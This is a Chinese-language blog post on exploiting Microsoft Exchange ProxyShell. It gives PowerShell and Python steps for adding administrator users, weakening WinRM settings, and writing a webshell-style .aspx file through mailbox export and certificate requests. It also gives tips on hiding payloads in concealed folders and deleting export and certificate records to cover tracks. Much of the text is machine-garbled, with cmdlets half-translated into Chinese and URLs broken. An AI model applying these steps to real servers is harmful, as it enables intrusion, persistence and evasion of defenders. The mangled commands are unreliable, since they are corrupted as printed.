发布于2022年11月8日3年前 0x00 前言 本文将要介绍ProxyShell中添加用户和文件写入的细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: 添加用户的方法 文件写入的方法 利用分析 0x02 添加用户的方法 使用PyPSRP执行Powershell命令时,无法执行添加用户的操作 这是因为传递密码的值时需要执行Powershell命令转换为安全字符串,而转换到安全字符串不是Exchange PowerShell远程处理支持的命令 解决方法可以参考柑橘的思路,通过调用本地Powershell,最终实现添加用户 参考资料: https://www。零日启动。com/blog/2021/8/17/from-pw N2 own-2021-a-new-attack-surface-on-Microsoft-exchange-proxy shell 需要注意以下细节: 1.通过Flask建立本地代理服务器 代码可参考: https://要点。githubusercontent。com/zdi-team/087026 b 241 df 18102 db 699 Fe 4 a3 d 9282/raw/ab 4 E1 ECB 6 e 0234 C2 e 319 BC 229 c 71 f 2 F4 f 70 b 55d 9/P2O-温哥华-2021-ProxyShell-snippet-7.py 在Python3环境下,需要将request.headers.iteritems()修改为request.headers.items() 如果遇到负载均衡,可以对返回状态码进行判断,如果返回状态码不是200,重新发送数据包 第28行到第34行可以替换成以下代码: 虽然正确: r=requests.post(powershell_url,data=data,headers=req_headers,verify=False) 如果r .状态代码==200: print('[]' r . headers[' X-CalculatedBETarget ']) 破裂 否则: 打印('[-]' r . headers[' X-calculated beta get ']) req_headers={} 对于r.headers.items()中的k,v: 如果k在['内容编码','内容长度','传输编码]中: 继续 req_headers[k]=v 返回r .内容,r .状态代码,请求标题 2.调用本地Powershell 命令可参考: https://要点。githubusercontent。com/zdi-team/a2eb 014d 248 E4 e 54 a2 ab 4 ba 4 AE 3a C3 cf/raw/af 251 aefc 37 a 47489 f 43128832798 a 210393013 a/P2O-温哥华-2021-ProxyShell-snippet-8.ps1 在调用本地Powershell命令前,系统需要做以下设置: (1)设置网络位置 不能选择公共网络,需要家庭网络或者工作网络 (2)设置管理员用户的密码 确保管理员用户设置了密码 (3)开启winrm服务 winrm快速配置 (4)修改allowunencrypted属性 Powershell命令如下: CD ws man:\本地主机\客户端 器械包项目allowunencrypted $true 目录 (5)设置TrustedHosts Powershell命令如下: get-Item ws man:\ localhost \ Client \可信主机 set-Item ws man:\ localhost \ Client \ trusted hosts-Value ' * ' 以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令 添加用户的操作需要传入安全措施,这里可以使用-参数列表参数传入 添加用户的命令示例: $ pwd=convert to-secure string password 123-asplaintext-force; $ command={ New-Mailbox-UserPrincipalName test user 1 @ test . com-OrganizationalUnit test.com/Users-别名测试用户1-名称测试用户1-显示名称测试用户1-密码$ args[0];} invoke-Command-Session $ Session-script block $ Command-argument list $ pwd 添加管理员用户的命令示例: $command={Add-RoleGroupMember '组织管理-成员testuser 1-BypassSecurityGroupManagerCheck } 调用-命令-会话$会话-脚本块$命令 0x03 文件写入的方法 1.通过New-MailboxExportRequest写入文件 New-MailboxExportRequest用于导出邮件,相关用法可以参考之前的文章《渗透基础——从Exchange服务器上搜索和导出邮件》 在写入文件时,需要注意以下问题: (1)用户需要添加到角色组”Mailbox Import Export”中 添加用户到角色组"邮箱导入导出"的命令示例: 新-管理角色分配角色"邮箱导入导出"用户管理员 移除用户的命令示例: “删除-管理角色分配-身份”邮箱导入导出-管理员-确认:$false 查看角色组"邮箱导入导出"中用户的命令示例: get-管理角色分配-角色'邮箱导入导出" |fl用户 (2)通过邮件传递Payload 这里有以下两种方法: 1.从外部邮箱向目标邮箱发送带有有效载荷的邮件 2.利用CVE-2021-34473模拟任意邮箱用户,将带有有效载荷的邮件保存至指定文件夹 对于方法2,为了提高隐蔽性,在保存带有效载荷的邮件时,可以先创建一个隐藏文件夹,然后再保存。详情请参考之前的文章《渗透基础——Exchange用户邮箱中的隐藏文件夹》。 (3)写入文件 为了准确的写净荷,避免意外错误,在写邮件的时候需要加一个限定,只导出带净荷的邮件。 导出邮件的命令示例: new-MailboxexportRequest-mailbox ' test1 '-content filter {(body-like ' payload Flag ')}-file path(' \ \ 127 . 0 . 0 . 1 \ c $ \ inetpub \ wwwroot \ aspnet _ client \ test . aspx ') (4)清除导出请求 当执行New-MailboxexportRequest命令导出时,会自动保存导出请求的记录,默认为30天。 如果不想保存导出请求,可以添加参数-completedrequestaglimit0。 补充:关于导出请求的相关操作 查看邮件导出请求: Get-MailboxExportRequest 删除特定的导出请求: remove-MailboxExportRequest-request queue '邮箱数据库11111111111 '-request guid 11111111-1111-111111111-Confirm:$ false remove-MailboxExportRequest-Identity ' test . com/Users/test1 \ mailbox export '-Confirm:$ false 注: 的匹配参数从Get-MailboxExportRequest|fl的结果中获得。 删除所有导出请求: get-MailboxExportRequest | Remove-MailboxExportRequest-Confirm:$ false 2.通过New-ExchangeCertificate写入文件 New-ExchangeCertificate用于创建和续订自签名证书。 最早的公开利用方法在cve-2020-17083中,参考: https://srcincite.io/pocs/cve-2020-17083.ps1.txt (1)传递Payload 有效负载通过SubjectName参数传入,该参数需要符合特定的语法。参考资料: https://docs . Microsoft . com/zh-cn/powershell/module/exchange/new-exchange certificate?view=exchange-ps 简而言之,需要注意以下问题: 可以使用固定格式:CN=Payload。 不能包含这三个特殊字符: 如果选择Jscript作为有效负载,您可以首先对代码进行Base64编码以避免特殊字符。 写的时候,如果返回的内容是微软。Exchange.data.binary FileData对象,表示写入成功。 (2)清除证书 读取所有证书的命令示例: Get-ExchangeCertificate 指定特征证书的命令示例: get-exchange certificate | Where-Object-Property Subject-like ' CN=“% @ *” 删除指定证书的命令示例: remove-exchange certificate-指纹11111111111111111111111111111111111-确认:$false get-exchange certificate | Where-Object-Property Subject-like ' CN=' % @ * ' | Remove-exchange certificate-Confirm:$ false 0x04 小结 在ProxyShell的研究过程中,我产生了很多新的想法,以后会在合适的机会分享。 留下回复
创建帐户或登录后发表意见